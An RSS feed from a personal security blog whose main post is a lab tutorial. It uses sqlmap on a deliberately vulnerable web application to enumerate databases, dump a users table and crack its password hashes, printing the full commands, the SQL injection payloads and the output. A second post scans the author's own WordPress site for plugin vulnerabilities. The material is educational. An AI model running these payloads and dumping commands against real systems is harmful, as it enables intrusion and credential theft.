<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>eric.ness.net &#187; Security</title>
	<atom:link href="http://eric.ness.net/archives/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.ness.net</link>
	<description>...I never learned to read.</description>
	<lastBuildDate>Sat, 21 Jan 2012 05:27:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Sql Injection Testing With SqlMap</title>
		<link>http://eric.ness.net/archives/sql-injection-testing-with-sqlmap/</link>
		<comments>http://eric.ness.net/archives/sql-injection-testing-with-sqlmap/#comments</comments>
		<pubDate>Sat, 13 Aug 2011 04:00:40 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Back Track]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=641</guid>
		<description><![CDATA[This is a brief overview of how to test for sql injections using sqlmap.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fsql-injection-testing-with-sqlmap%2F' data-shr_title='Sql+Injection+Testing+With+SqlMap'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fsql-injection-testing-with-sqlmap%2F' data-shr_title='Sql+Injection+Testing+With+SqlMap'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img class="alignnone size-full wp-image-649" title="sqlmap" src="http://eric.ness.net/wp-content/uploads/2011/08/sqlmap.jpg" alt="" width="577" height="360" /></p>
<div style="padding: 5px; border: 1px solid #dddddd; color: #1f1f1f; margin-bottom: 10px; background: none repeat scroll 0% 0% #f8e3e0;"><strong></strong><strong>Disclaimer:</strong> This is for educational purposes only in the hopes you will use it to secure your own site and code. I take no responsibility for any malicious use of the following technology or approach. In short don&#8217;t be dumb.</div>
<p>Often one thinks that Sql Injection is just used to inject code in to a database however, sql injection can also be used to enumerate through a whole host of commands that can sometimes lead to complete control of the entire server. Here we are going to simply show you how to list all the databases in the server, get the tables and data.</p>
<p>This is a brief overview of how to test for sql injections using <a title="sqlmap" href="http://sqlmap.sourceforge.net/">sqlmap</a>. For this we are going to attack a <a title="Damn Vulnerable Web Application" href="http://www.dvwa.co.uk/">Damn Vulnerable Web Application</a> Virtual Machine and <a title="Back Track Linux" href="http://www.backtrack-linux.org/">Back Track</a>. Once the virtual machine is up and running login in the site (in this example the ip is 192.168.0.103), and set the security to low.</p>
<p>Navigate to http://192.168.0.103/vulnerabilities/sqli/ and enter a value in to the text box. Open a shell and and navigate to /pentest/database/sqlmap. You will also need a program to get cookie and session info like the <a title="Tamper Data Firefox plugin" href="https://addons.mozilla.org/en-US/firefox/addon/tamper-data/">Tamper Data</a> plugin for firefox.</p>
<h2>Get A List Of All The Databases In The Database.</h2>
<p>To build the string to run the command you&#8217;ll need the following things.</p>
<ol>
<li><strong>URL</strong>: http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#</li>
<li><strong>Cookie</strong>: PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low</li>
<li><strong>Column Name</strong>: Surname</li>
</ol>
<p>You&#8217;ll notice that once you&#8217;ve enter a value in to the text box of sqli page it returns some data where some of the text that is commonly returned would be Surname.</p>
<p>Run the following command: &#8220;<strong><em>./sqlmap.py -u &#8216;http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#&#8217; &#8211;cookies=&#8221;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&#8221; &#8211;string=&#8221;Surname&#8221; &#8211;dbs</em></strong>&#8220;.</p>
<pre class="brush: jscript; title: ; notranslate">
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#' --cookie=&quot;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&quot; --string=&quot;Surname&quot; --dbs

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors

assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 21:53:39

[21:53:39] [INFO] using '/pentest/database/sqlmap/output/192.168.0.103/session' as session file
[21:53:39] [INFO] resuming injection data from session file
[21:53:39] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:53:39] [INFO] testing connection to the target url
[21:53:39] [INFO] testing if the provided string is within the target URL page content
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 7500=7500 AND 'ibOx'='ibOx&amp;Submit=Submit

Type: error-based
Title: MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2' AND (SELECT 271 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,111,97,58),(SELECT (CASE WHEN (271=271) THEN 1 ELSE 0 END)),CHAR(58,103,98,116,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'VtPs'='VtPs&amp;Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: id=2' UNION ALL SELECT CONCAT(CHAR(58,122,111,97,58),IFNULL(CAST(CHAR(102,99,66,86,83,69,118,82,78,117) AS CHAR),CHAR(32)),CHAR(58,103,98,116,58)), NULL# AND 'lDYv'='lDYv&amp;Submit=Submit

Type: AND/OR time-based blind
Title: MySQL &gt; 5.0.11 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'mMol'='mMol&amp;Submit=Submit
---

[21:53:39] [INFO] manual usage of GET payloads requires url encoding
[21:53:39] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL 5.0
[21:53:39] [INFO] fetching database names
[21:53:39] [INFO] read from file '/pentest/database/sqlmap/output/192.168.0.103/session': information_schema, cdcol, dvwa, mysql, phpmyadmin, test
available databases [6]:
[*] cdcol
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test

[21:53:39] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.0.103'

[*] shutting down at: 21:53:39
</pre>
<p>Here are the results:</p>
<pre>available databases [6]:
[*] cdcol
[*] dvwa
[*] information_schema
[*] mysql
[*] phpmyadmin
[*] test</pre>
<p>The one we are interested in is dvwa.</p>
<h2>To List The Tables Of A Single Database.</h2>
<p>One we have our list of databases we keep the url and cookie session data but we add some of the following fields.</p>
<ol>
<li><strong>Select Database:</strong> -D dvwa</li>
<li><strong>Get Tables:</strong> &#8211;tables</li>
</ol>
<p>Run the following command: &#8220;<strong><em>./sqlmap.py -u &#8216;http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#&#8217; &#8211;cookie=&#8221;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&#8221; -D dvwa &#8211;tables</em></strong>&#8221;</p>
<pre class="brush: jscript; title: ; notranslate">
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#' --cookie=&quot;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&quot; -D dvwa --tables

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors

assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 21:54:05

[21:54:05] [INFO] using '/pentest/database/sqlmap/output/192.168.0.103/session' as session file
[21:54:05] [INFO] resuming injection data from session file
[21:54:05] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:54:05] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 7500=7500 AND 'ibOx'='ibOx&amp;Submit=Submit

Type: error-based
Title: MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2' AND (SELECT 271 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,111,97,58),(SELECT (CASE WHEN (271=271) THEN 1 ELSE 0 END)),CHAR(58,103,98,116,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'VtPs'='VtPs&amp;Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: id=2' UNION ALL SELECT CONCAT(CHAR(58,122,111,97,58),IFNULL(CAST(CHAR(102,99,66,86,83,69,118,82,78,117) AS CHAR),CHAR(32)),CHAR(58,103,98,116,58)), NULL# AND 'lDYv'='lDYv&amp;Submit=Submit

Type: AND/OR time-based blind
Title: MySQL &gt; 5.0.11 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'mMol'='mMol&amp;Submit=Submit
---

[21:54:05] [INFO] manual usage of GET payloads requires url encoding
[21:54:05] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL 5.0
[21:54:05] [INFO] fetching tables for database: dvwa
[21:54:05] [INFO] read from file '/pentest/database/sqlmap/output/192.168.0.103/session': dvwa, guestbook, dvwa, users
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

[21:54:05] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.0.103'

[*] shutting down at: 21:54:05
</pre>
<p>Here are the tables from the dvwa database:</p>
<pre>[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+</pre>
<h2>Get Data From A Table</h2>
<p>To get the data and columns of a table you need the following items &#8211; in this example we are going to get the table from the <em>users</em> table.</p>
<ol>
<li><strong>Select Database:</strong> -D dvwa</li>
<li><strong>Get Tables:</strong> &#8211;tables</li>
<li><strong>Select Table:</strong> -T users &#8211;dump</li>
</ol>
<p>Run the following command: &#8220;<strong><em>./sqlmap.py -u &#8216;http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#&#8217; &#8211;cookie=&#8221;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&#8221; -D dvwa -T users &#8211;dump</em></strong>&#8220;.</p>
<pre class="brush: jscript; title: ; notranslate">
root@bt:/pentest/database/sqlmap# ./sqlmap.py -u 'http://192.168.0.103/vulnerabilities/sqli/?id=2&amp;Submit=Submit#' --cookie=&quot;PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low&quot; -D dvwa -T users --dump

sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool

http://sqlmap.sourceforge.net

[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors

assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting at: 21:54:26

[21:54:26] [INFO] using '/pentest/database/sqlmap/output/192.168.0.103/session' as session file
[21:54:26] [INFO] resuming injection data from session file
[21:54:26] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[21:54:26] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=2' AND 7500=7500 AND 'ibOx'='ibOx&amp;Submit=Submit

Type: error-based
Title: MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=2' AND (SELECT 271 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,111,97,58),(SELECT (CASE WHEN (271=271) THEN 1 ELSE 0 END)),CHAR(58,103,98,116,58),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND

'VtPs'='VtPs&amp;Submit=Submit

Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: id=2' UNION ALL SELECT CONCAT(CHAR(58,122,111,97,58),IFNULL(CAST(CHAR(102,99,66,86,83,69,118,82,78,117) AS CHAR),CHAR(32)),CHAR(58,103,98,116,58)), NULL# AND 'lDYv'='lDYv&amp;Submit=Submit

Type: AND/OR time-based blind
Title: MySQL &gt; 5.0.11 AND time-based blind
Payload: id=2' AND SLEEP(5) AND 'mMol'='mMol&amp;Submit=Submit
---

[21:54:26] [INFO] manual usage of GET payloads requires url encoding
[21:54:26] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: MySQL 5.0
[21:54:26] [INFO] fetching columns for table 'users' on database 'dvwa'
[21:54:26] [INFO] read from file '/pentest/database/sqlmap/output/192.168.0.103/session': user_id, int(6), first_name, varchar(15), last_name, varchar(15), user, varchar(15), password, varchar(32), avatar, varchar(70)
[21:54:26] [INFO] fetching entries for table 'users' on database 'dvwa'
recognized possible password hash values. do you want to use dictionary attack on retrieved table items? [Y/n/q] Y
[21:54:28] [INFO] using hash method: 'md5_generic_passwd'
what's the dictionary's location? [/pentest/database/sqlmap/txt/wordlist.txt]
[21:54:29] [INFO] loading dictionary from: '/pentest/database/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] y
[21:54:32] [INFO] starting dictionary attack (md5_generic_passwd)
[21:54:32] [INFO] found: 'abc123' for user: 'gordonb'
[21:54:32] [INFO] found: 'charley' for user: '1337'
[21:54:33] [INFO] found: 'letmein' for user: 'pablo'
[21:54:33] [INFO] found: 'password' for user: 'admin'
Database: dvwa
Table: users
[5 entries]
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| avatar                          | first_name | last_name | password                                    | user    | user_id |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| dvwa/hackable/users/smithy.jpg  | Bob        | Smith     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | smithy  | 5       |
| dvwa/hackable/users/admin.jpg   | admin      | admin     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin   | 1       |
| dvwa/hackable/users/gordonb.jpg | Gordon     | Brown     | e99a18c428cb38d5f260853678922e03 (abc123)   | gordonb | 2       |
| dvwa/hackable/users/pablo.jpg   | Pablo      | Picasso   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | pablo   | 4       |
| dvwa/hackable/users/1337.jpg    | Hack       | Me        | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | 1337    | 3       |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+

[21:55:10] [INFO] Table 'dvwa.users' dumped to CSV file '/pentest/database/sqlmap/output/192.168.0.103/dump/dvwa/users.csv'
[21:55:10] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/192.168.0.103'

[*] shutting down at: 21:55:10

root@bt:/pentest/database/sqlmap#
</pre>
<h2>Results</h2>
<p>And as you can see when you use the accompanying dictionary in Back Track you sometimes break the password hash as an added bonus.</p>
<pre>+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| avatar                          | first_name | last_name | password                                    | user    | user_id |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| dvwa/hackable/users/smithy.jpg  | Bob        | Smith     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | smithy  | 5       |
| dvwa/hackable/users/admin.jpg   | admin      | admin     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin   | 1       |
| dvwa/hackable/users/gordonb.jpg | Gordon     | Brown     | e99a18c428cb38d5f260853678922e03 (abc123)   | gordonb | 2       |
| dvwa/hackable/users/pablo.jpg   | Pablo      | Picasso   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | pablo   | 4       |
| dvwa/hackable/users/1337.jpg    | Hack       | Me        | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | 1337    | 3       |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+</pre>
<div class="shr-publisher-641"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/sql-injection-testing-with-sqlmap/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>CMS Explorer In Back Track</title>
		<link>http://eric.ness.net/archives/cms-explorer-in-back-track/</link>
		<comments>http://eric.ness.net/archives/cms-explorer-in-back-track/#comments</comments>
		<pubDate>Fri, 12 Aug 2011 04:00:39 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Back Track]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=616</guid>
		<description><![CDATA[A quick run through CMS Explorer in exposing vulnerabilities of CMS.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fcms-explorer-in-back-track%2F' data-shr_title='CMS+Explorer+In+Back+Track'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fcms-explorer-in-back-track%2F' data-shr_title='CMS+Explorer+In+Back+Track'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img class="alignnone size-full wp-image-630" title="cms_explorer" src="http://eric.ness.net/wp-content/uploads/2011/08/cms_explorer.jpg" alt="" width="577" height="360" /></p>
<div style="padding: 5px; border: 1px solid #ddd; color: #1f1f1f; margin-bottom: 10px; background: #F8E3E0;"><strong>Disclaimer:</strong> This is for educational purposes only in the hopes you will use it to secure your own site and code. I take no responsibility for any malicious use of the following technology or approach. In short don&#8217;t be dumb.</div>
<p>So I am studying for the <a title="OSCP" href="http://www.offensive-security.com/online-information-security-training/penetration-testing-backtrack/">OSCP (Offensive Security Certified Professional)</a> certification and I&#8217;ve been playing around with some of the more obscure items in the <a title="Back Track Linux" href="http://www.backtrack-linux.org/">Back Track Linux Distribution</a>. One such item is <a title="CMS Explorer" href="http://code.google.com/p/cms-explorer/">CMS Explorer</a> that enumerates through content management systems plug-ins and themes to look for vulnerabilities in the Drupal, WordPress, Joomla!, Mambo CMS.</p>
<p>The <a title="CMS-Eplorer Usage" href="http://code.google.com/p/cms-explorer/wiki/Usage">syntax</a> is fairly straightforward and the results are fairly accurate. The cool thing is that it can tie in to the OSVDB database but you need to do two things to make it work properly.</p>
<ol>
<li>Sign up for a <a title="API Account" href="http://osvdb.org/api/about">OSVDB api account</a>.</li>
<li>Navigate to the /pentest/enumeration/web/cms-explorer directory and create a blank file called osvdb.key</li>
<li>In that file place your api key.</li>
<li>Run it! ./cms-explorer.pl -url http://eric.ness.net -type wordpress -osvdb</li>
</ol>
<p>Here are the results for my blog. As you can see this site is fairly light and all the vulnerabilities according to OSVDB are &#8220;unknown impact and attack vectors &#8221; or listed as &#8220;flagged as being a Myth/Fake&#8221;.</p>
<ol>
<li><a title="http://osvdb.org/37290" href="http://osvdb.org/37290">http://osvdb.org/37290</a></li>
<li><a title="http://osvdb.org/62683" href="http://osvdb.org/62683">http://osvdb.org/62683</a></li>
<li><a href="http://osvdb.org/56762">http://osvdb.org/56762</a></li>
</ol>
<p>Only downside for this enumeration is that it is fairly slow and can take up to an hour or more to run.</p>
<pre class="brush: jscript; title: ; notranslate">
root@bt:/pentest/enumeration/web/cms-explorer# ./cms-explorer.pl -url http://eric.ness.net -type wordpress -osvdb

*******************************************************
Beginning run against http://eric.ness.net/...
Testing themes from wp_themes.txt...
Theme Installed:		wp-content/themes/monochrome/
Testing plugins...
Plugin Installed:		wp-content/plugins/akismet/
Plugin Installed:		wp-content/plugins/all-in-one-seo-pack/
Plugin Installed:		wp-content/plugins/codesnippet-20/
Plugin Installed:		wp-content/plugins/contact-form-7/
Plugin Installed:		wp-content/plugins/sexybookmarks/
Plugin Installed:		wp-content/plugins/syntaxhighlighter/
Plugin Installed:		wp-content/plugins/tweet-blender/
Plugin Installed:		wp-content/plugins/wp-cache/
Plugin Installed:		wp-content/plugins/wp-pagenavi/

*******************************************************
Summary:
Theme Installed:		wp-content/themes/monochrome/
	URL			http://eric.ness.net/wp-content/themes/monochrome/
	SVN			http://themes.svn.wordpress.org/wp-content/themes/monochrome/
Plugin Installed:		wp-content/plugins/akismet/
	URL			http://eric.ness.net/wp-content/plugins/akismet/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/akismet/trunk/
	http://osvdb.org/37290	Akismet for WordPress akismet.php Unspecified Issue
	http://osvdb.org/62683	WordPress wp-content/plugins/akismet/akismet.php add_action() Function Path Disclosure
Plugin Installed:		wp-content/plugins/all-in-one-seo-pack/
	URL			http://eric.ness.net/wp-content/plugins/all-in-one-seo-pack/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/all-in-one-seo-pack/trunk/
Plugin Installed:		wp-content/plugins/codesnippet-20/
	URL			http://eric.ness.net/wp-content/plugins/codesnippet-20/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/codesnippet-20/trunk/
Plugin Installed:		wp-content/plugins/contact-form-7/
	URL			http://eric.ness.net/wp-content/plugins/contact-form-7/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/contact-form-7/trunk/
Plugin Installed:		wp-content/plugins/sexybookmarks/
	URL			http://eric.ness.net/wp-content/plugins/sexybookmarks/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/sexybookmarks/trunk/
Plugin Installed:		wp-content/plugins/syntaxhighlighter/
	URL			http://eric.ness.net/wp-content/plugins/syntaxhighlighter/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/syntaxhighlighter/trunk/
Plugin Installed:		wp-content/plugins/tweet-blender/
	URL			http://eric.ness.net/wp-content/plugins/tweet-blender/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/tweet-blender/trunk/
Plugin Installed:		wp-content/plugins/wp-cache/
	URL			http://eric.ness.net/wp-content/plugins/wp-cache/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/wp-cache/trunk/
	http://osvdb.org/56762	WP Super Cache for WordPress wp-cache-phase1.php plugin Parameter Remote File Inclusion
Plugin Installed:		wp-content/plugins/wp-pagenavi/
	URL			http://eric.ness.net/wp-content/plugins/wp-pagenavi/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/wp-pagenavi/trunk/
</pre>
<div class="shr-publisher-616"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/cms-explorer-in-back-track/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Haack MVC Video: Cross-site Request Forgery Attack</title>
		<link>http://eric.ness.net/archives/haack-mvc-video-cross-site-request-forgery-attack/</link>
		<comments>http://eric.ness.net/archives/haack-mvc-video-cross-site-request-forgery-attack/#comments</comments>
		<pubDate>Fri, 10 Apr 2009 14:54:28 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=166</guid>
		<description><![CDATA[I was going to post a link to this video a couple of days ago.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fhaack-mvc-video-cross-site-request-forgery-attack%2F' data-shr_title='Haack+MVC+Video%3A+Cross-site+Request+Forgery+Attack'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fhaack-mvc-video-cross-site-request-forgery-attack%2F' data-shr_title='Haack+MVC+Video%3A+Cross-site+Request+Forgery+Attack'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://eric.ness.net/wp-content/uploads/2009/04/phil-haack.jpg"><img class="alignnone size-full wp-image-167" title="phil-haack" src="http://eric.ness.net/wp-content/uploads/2009/04/phil-haack.jpg" alt="" width="577" height="360" /></a></p>
<p>I was going to post a link to this video a couple of days ago &#8211; it&#8217;s Phil Haack&#8217;s MIX09 &#8220;ASP.NET MVC Ninjas on Fire Black Belt Tips&#8221; presentation.</p>
<p>This presentation covers among other things Cross-Site Request Forgery Attacks. Haack also wrote up a great blog post on the topic as well.</p>
<p><a href="http://videos.visitmix.com/MIX09/T44F">http://videos.visitmix.com/MIX09/T44F</a> [Video]<br />
<a href="http://haacked.com/archive/2009/04/02/anatomy-of-csrf-attack.aspx">http://haacked.com/archive/2009/04/02/anatomy-of-csrf-attack.aspx</a> [Blog Post]</p>
<div class="shr-publisher-166"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/haack-mvc-video-cross-site-request-forgery-attack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MSDN Security Videos</title>
		<link>http://eric.ness.net/archives/msdn-security-videos/</link>
		<comments>http://eric.ness.net/archives/msdn-security-videos/#comments</comments>
		<pubDate>Sun, 06 Apr 2008 17:16:34 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Video/Audio]]></category>
		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://eric.ness.net/blog/archives/msdn-security-videos/</guid>
		<description><![CDATA[MSDN currently has 26 videos regarding security for everything from securing data using symmetric key encryption to preventing cross site request forgery.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fmsdn-security-videos%2F' data-shr_title='MSDN+Security+Videos'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fmsdn-security-videos%2F' data-shr_title='MSDN+Security+Videos'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p>MSDN currently has  26 videos regarding security for everything from securing data using symmetric key encryption to preventing cross site request forgery.</p>
<p>[<a title="Microsoft Security Videos" href="http://msdn2.microsoft.com/en-us/security/bb896640.aspx">link</a>]<a id="file-link-19" class="file-link image" title="MSDN Security Videos" href="http://eric.ness.net/blog/wp-admin/upload.php?style=inline&amp;tab=browse&amp;post_id=15&amp;_wpnonce=8a59b90655&amp;ID=19&amp;action=view&amp;paged"> </a></p>
<div class="shr-publisher-15"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/msdn-security-videos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

